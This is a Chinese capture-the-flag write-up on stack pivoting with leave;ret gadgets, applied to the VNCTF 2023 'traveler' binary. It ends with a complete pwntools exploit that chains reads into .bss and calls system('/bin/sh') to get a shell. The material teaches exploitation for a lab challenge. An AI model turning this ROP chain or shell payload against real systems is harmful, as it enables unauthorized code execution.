CTF-PWN-栈溢出-中级ROP-【栈迁移】

文章目录

  • 栈迁移
    • 具体流程
  • VNCTF 2023 traveler libc-2.27
  • 检查
  • 源码
    • main函数![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/386c35c30f854434ae43667b9473c58a.png)
    • 全局变量地址
    • 局部变量地址
  • PIE保护
    • 开启PIE
    • 关闭PIE
  • 思路
  • exp

栈迁移参考
栈迁移参考

栈迁移

顾名思义,就是将当前的栈帧迁移到其他位置,即rsp和rbp改变到某些位置去
核心思想:先向某个内存区域写入gadget,然后通过第一次leave_ret修改rbp为之前溢出保存的rbp,ret再执行leave_ret,然后再将rsp的值修改为了rbp,然后再pop rbp将写入gadget的内存区域的前八个字节作为新的rbp,ret再执行写入gadget的内存地址+8处的指令。(多次栈迁移就在写入gadget的内存区域的前八个字节作为待会要迁移到的rsp的地址,然后在最后部分也是leave_ret,此时记得leave_ret之前仍需提前构造好待会要迁移到的rsp的地址的gadget内容。否则leave_ret后虽然迁移过去了,但是ret可能执行不了)

具体流程

  • leave相当于mov rsp,rbp pop rbp;
  • ret相当于pop rip;
  • mov rsp,rbp 将rbp的值赋值给rsp寄存器
  • pop rbp 把栈顶的值弹到rbp寄存器里

首先是确保可以栈溢出将 ebp,ret_addr 都可以覆盖

  1. 每个函数最后会执行leave;ret,此时会将rbp的值赋值给rsp,然后将栈顶的值(此时栈顶保存的是之前保存的rbp)给rbp
  2. 当溢出修改原来保存的rbp后,当执行leave后,rbp被修改为之前溢出修改的rbp,此时返回地址也应在之前就溢出修改为leave;ret的地址
  3. 当执行返回地址时,此时会将rsp也移动到修改后的rbp的位置,之后将此时rsp的栈顶的内容弹出给rbp,然后rbp被再次修改,然后再执行此时的栈顶的内容指向的位置

总结

  • . 第一次leave;ret;修改rbp为之前溢出保存的rbp
  • . 第二次leave;ret;此时修改rsp为修改后的rbp的值,同时会再次pop修改rbp的内容。此时ret指令会指向当前栈顶的内容指向的地址的指令(这样可以多次栈迁移只需保证leave时pop时的内容为需要去的位置,然后最后只需leave;ret,便可继续执行对应位置的rop链)

VNCTF 2023 traveler libc-2.27

检查

可栈溢出
在这里插入图片描述

源码

main函数在这里插入图片描述

存在明显的栈溢出,并且只能溢出16个字节,即只能修改保存的rbp值和返回地址

全局变量地址

在这里插入图片描述

局部变量地址

在这里插入图片描述

PIE保护

PIE保护会修改程序允许时候的加载地址,但程序内部各个段之间的位置的相对偏移是不会变的,即可以认为变了程序放进内存的起始地址,只变了起点,然后在接着把其放进去,程序本身没有变化

所以说如果开启了PIE,那么程序内部是没有变化的,但由于基地址改变,所以各个段的位置都会在原本的程序的相对偏移之上再加上起始地址

开启PIE

在这里插入图片描述

关闭PIE

在这里插入图片描述
由于此时本身traveler文件是关闭PIE的,我可以接到IDA中去找gadget,并且全部变量的位置也可以到IDA中找

思路

此时程序中有system函数且关闭PIE,那么可以直接调用IDA中中对应system的地址,如果可执行程序中没有system函数可能需要libc基地址+system偏移。题目既然给了system函数,那就用吧

参数/bin/sh的解决,反正程序肯定需要栈迁移,不然溢出的范围太少,不能添入一些构造参数的gadget和函数的gadget,所以肯定到迁移的地方填充gadget。关于/bin/sh的地址我们可以在全局变量处输入/bin/sh,由于知道全局变量的地址,所以可以知道/bin/sh的地址

注意
此时发现出现错误,原因是RSP对应的位置是不能写的
在这里插入图片描述
此时该部分地址只允许读,不允许写,此时操作需要写,所以报错
在这里插入图片描述
此时可以通过抬高在调用system之前抬高RSP的值避免出现这种情况,需要再次修改RSP,则需再次栈迁移

结合调用system时的RSP和此时报错时的RSP,此时RSP减少了0x300多,所以保险起见,准备将RSP再次迁移到为+0x400的位置,然后发现还是会出现某些bug,为了以防万一,还是尽可能往大调吧

首先,修改保存的rbp为bss上能够在main函数结束前写入rop链的位置,然后返回地址是leave_re从而使得此时能够将rsp移动到已经写好rop链的地方。

这里最终修改rbp为自己溢出的保存的rbp然后再执行leave_ret是在main函数结束时,此时在main函数结束前还需执行一个read函数往bss段上写入数据,此时写入相应的rop链,此时第一个值为待会要给rbp修改的新值,然后是一系列gadget。由于之前说过执行system时候,rsp不能过低。而如果此时的gadget直接是system的gadget,那么rsp较低,会出现之前的情况,所以我们还需栈迁移一次,修改rsp的值,然后在执行相应的rop链。所以此时的gadget应该是能够进行栈迁移的,即为待会要改到的rsp值+修改参数的gadget+read函数+leave_ret,此时由于想直接用程序内的gadget来构造参数,此时可以以原函数开始准备read函数调用的地址作为调用read函数地址,此时可以参数构造就不要担心需要找gadget或者直接利用read函数后rdi rsi rdx没有被修改的特点从而只修改rsi即可,正好存在这样的gadget(main函数ret结束前调用的最后一个函数是向bss段输入数据)。此时我选择第二种,输入为 bss上的大地址+pop_rsi_ret+参数+read_plt+leave_ret

但此时出现一个问题此时对应的输入是大于0x28的,emmmm所以怎么办呢?

如果此时能够少一个8个字节的项就好了,由于pop_rsi_ret+参数+read_plt+leave_ret都不能少,这样才能成功栈迁移并往bss上的大地址写入rop链。所以如果能再输入一次然后只用输入这些gadget即可,同时还要保证rop链执行的连续

这个时候有个很精彩的方法就是,先read,往read下一条指令的位置写入gadget,然后read结束后,也就执行之前写入的gadget了,因为read函数里要执行ret时,内容已经写入对应位置了。注意这里不能调用read的函数不要用call read,否则会压入一个返回地址,这个返回地址是call read指令部分的下一条地址,这样就没办法成功构成rop链了。

所以此时第一次输入为bss上的大地址+pop_rsi_ret+参数+read_plt (此时的参数是第二次输入的地址)
然后第二次输入为pop_rsi_ret+参数+read_plt+leave_ret(此时的参数是 bss上的大地址)

最后再输入的gadget就是/bin/sh\x00+pop_rdi_ret+参数+system函数地址(参数为/bin/sh的地址)

exp

from pwn import*
context(os="linux",arch="amd64",log_level="debug")
t=process("./traveler")
elf=ELF("./traveler")
#gdb.attach(t,"b ,main")
bss_addr=0x00000000004040A0
pop_rdi=0x00000000004012c3
system_addr=0x0000000000401090
pop_rsi_r15_ret = 0x004012c1
leave_ret=0x0000000000401253
read_addr=elf.plt["read"]
ret = 0x40101a

payload=b"a"*0x20+p64(bss_addr)+p64(leave_ret)
t.sendafter(b"who r u?\n",payload)

payload=p64(bss_addr+0x700)+p64(pop_rsi_r15_ret)+p64(bss_addr+0x28)+p64(0)+p64(read_addr) #分两次的原因原来的rdx是0x28,如果整合到一个gadget,需要多八个字节,所以分两次read
t.sendafter(b"How many travels can a person have in his life?\n",payload)

payload=p64(pop_rsi_r15_ret)+p64(bss_addr+0x700)+p64(0)+p64(read_addr)+p64(leave_ret)
t.send(payload)
payload=b"/bin/sh\x00"+p64(pop_rdi)+p64(bss_addr+0x700)+ p64(ret) +p64(system_addr)
t.send(payload)                  


t.interactive()

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/305421.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

充分利用城市闲置空地,建造舒适的气膜运动馆

在城市土地紧张的背景下,气膜建筑以其轻盈灵动的特性,成为利用闲置空地的理想选择。建造舒适的气膜运动馆不仅提升了城市空间利用效率,更为全民健身搭建了一座充满活力的乐园,为城市生活注入了新的活力和福音。 解决城市土地紧张的…

将Llama2上下文长度扩展100倍;效率更高的SeTformer;LLM准确度基本不变加速1.56×;FreeTalker

本文首发于公众号:机器感知 将Llama2上下文长度扩展100倍;效率更高的SeTformer;LLM准确度基本不变加速1.56;FreeTalker Latte: Latent Diffusion Transformer for Video Generation 本文使用Latent Diffusion Transformer(Latte…

让开发改bug全靠催?分享6个实用技巧

测试小伙伴们,你们有遇到下图的情况吗? ​ 这张图其实还算“温柔”的,其实有些情况下,某些测试人员或者开发人员脾气大的可能撕逼或者快干架。所以如何和开发有效沟通,并高效劝说开发改掉bug是一门学问,以…

阿里云服务器e实例和云服务器u1实例有什么区别?

阿里云服务器u1和e实例有什么区别?ECS通用算力型u1实例是企业级独享型云服务器,ECS经济型e实例是共享型云服务器,所以相比较e实例,云服务器u1性能更好一些。e实例为共享型云服务器,共享型实例采用非绑定CPU调度模式&am…

【C++入门到精通】异常 | 异常的使用 | 自定义异常体系 [ C++入门 ]

阅读导航 引言一、C异常的概念二、异常的使用1. 异常的抛出和捕获(1)throw(2)try-catch(3)catch(. . .)(4)异常的抛出和匹配原则(5)在函数调用链中异常栈展开…

Java项目:112SSM在线电影订票系统

博主主页:Java旅途 简介:分享计算机知识、学习路线、系统源码及教程 文末获取源码 一、项目介绍 在线电影订票系统基于SpringSpringMVCMybatis开发,系统分为前台和后台,前台主要用来用户浏览电影信息,订票&#xff0c…

C/C++学习笔记 vcpkg使用备忘及简要说明

一、简述 vcpkg 是一个免费的 C/C 包管理器,用于获取和管理库。从 1500 多个开源库中进行选择,一步下载并构建,或者添加您自己的私有库以简化构建过程。由 Microsoft C 团队和开源贡献者维护。 官方教程 vcpkg 文档 | Microsoft Learnvcpkg …

day-04 字符串中的额外字符

思路 动态规划,每个字符要么额外要么不是额外 解题方法 int[] dp new int[n1]; dp[i] 表示从字符串开头到字符串索引i位置的最少额外字符数 dp[i 1] Math.min(dp[i 1], dp[j]) dp[j]表示假设s第i个字符不是额外的,可能等于dp[i 1],也可…

GPS 模拟器

GPS 工具包:https://www.ni.com/es/support/downloads/software-products/download.gnss-test-toolkit.html#333303 GPS-SDR-SIM:https://github.com/osqzss/gps-sdr-sim GPS LabVIEW :http://mikioblog.dolphinsystem.jp/2017/08/gps-sdr-si…

Presto大数据学习网站:让你轻松驾驭大数据处理!

介绍:Presto是一个由Facebook开源的分布式SQL查询执行引擎,它被设计用于处理各种规模的数据并进行快速分析查询。这个引擎具有优秀的兼容性,可以支持众多的数据源,包括但不限于HDFS、关系型数据库管理系统(RDBMS&#…

JVM的FastThrow优化机制

前言: 前一阵子,在公司排查线上问题发现:出问题的方法报空指针异常,但是没有异常堆栈信息和Message。我一开始以为是代码中做了处理,但是经过翻阅代码发现不是。最后一番查找资料,这种现象是JVM的一种优化机…

C# 日期转换“陷阱”

在 C# 中,日期转换可能会遇到一些陷阱。以下是一些常见的陷阱和如何避免它们: 时区问题 日期和时间通常与时区相关,但在转换时可能会忽略或混淆时区信息。确保在转换日期时始终考虑到时区,并使用正确的时区进行转换。 DateTime…

npm、pnpm和yarn 的区别

包管理工具是JavaScript开发中不可或缺的一部分,它们可以帮助我们方便地安装、更新、删除和管理项目所依赖的各种库和模块。 目前,最流行的包管理工具有npm、yarn和pnpm,它们各有各的特点和优劣势。 本文将试着对这三个工具进行全面的对比。…

Python-PyQt5树莓派上位机

Python-PyQt5树莓派上位机 一个使用PythonQT设计的树莓派的上位机,功能大概如下 1.笔记本电脑与树莓派的通讯是否成功显示(给个信号显示判断是否通讯成功); 2.阈值的设置显示; 3.图像成像的显示; 4.是否发生…

9.建造者模式

文章目录 一、介绍二、代码三、实际使用总结 一、介绍 建造者模式旨在将一个复杂对象的构建过程和其表示分离,以便同样的构建过程可以创建不同的表示。这种模式适用于构建对象的算法(构建过程)应该独立于对象的组成部分以及它们的装配方式的…

学习笔记——C++二维数组

二维数组定义的四种方式: 1,数据类型 数组名[ 行数 ][ 列数 ]; 2,数据类型 数组名[ 行数 ][ 列数 ]{{数据1,数据2},{数据3,数据4}}; 3,数据类型 数组名[ 行数…

【计算机网络】TCP原理 | 可靠性机制分析(二)

个人主页:兜里有颗棉花糖 欢迎 点赞👍 收藏✨ 留言✉ 加关注💓本文由 兜里有颗棉花糖 原创 收录于专栏【网络编程】【Java系列】 本专栏旨在分享学习网络编程、计算机网络的一点学习心得,欢迎大家在评论区交流讨论💌 T…

如何做好档案统一管理?

档案统一管理是指将一个组织或机构的所有档案资料进行集中管理和整理的一种管理方式。档案统一管理的目标是确保档案的完整性、准确性和可访问性,提高档案的利用价值和管理效率。 要做好档案统一管理,需要以下几个步骤: 1. 确定档案的分类与命…

【S32K 进阶之旅】 NXP S32K3 以太网 RMII 接口调试(2)

前言 前文介绍了 NXP S32K3 以太网 RMII 接口调试的开发环境搭建,下面开始详解软件调试步骤。没看过第一节的小伙伴请移步《【S32K 进阶之旅】 NXP S32K3 以太网 RMII 接口调试(1)》,话不多说我们直接进入正题。 lwip Stack 介绍 …

debug OpenBLAS library 和 应用示例

1. 构建openblas lib git clone gitgithub.com:OpenMathLib/OpenBLAS.git cd OpenBLAS/ 如果要安装在自定义文件夹中,可以修改 PREFIX 的定义: 将 PREFIX /opt/OpenBLAS 修改成 PREFIX ../local/ 然后构建: make -j make install 如果要…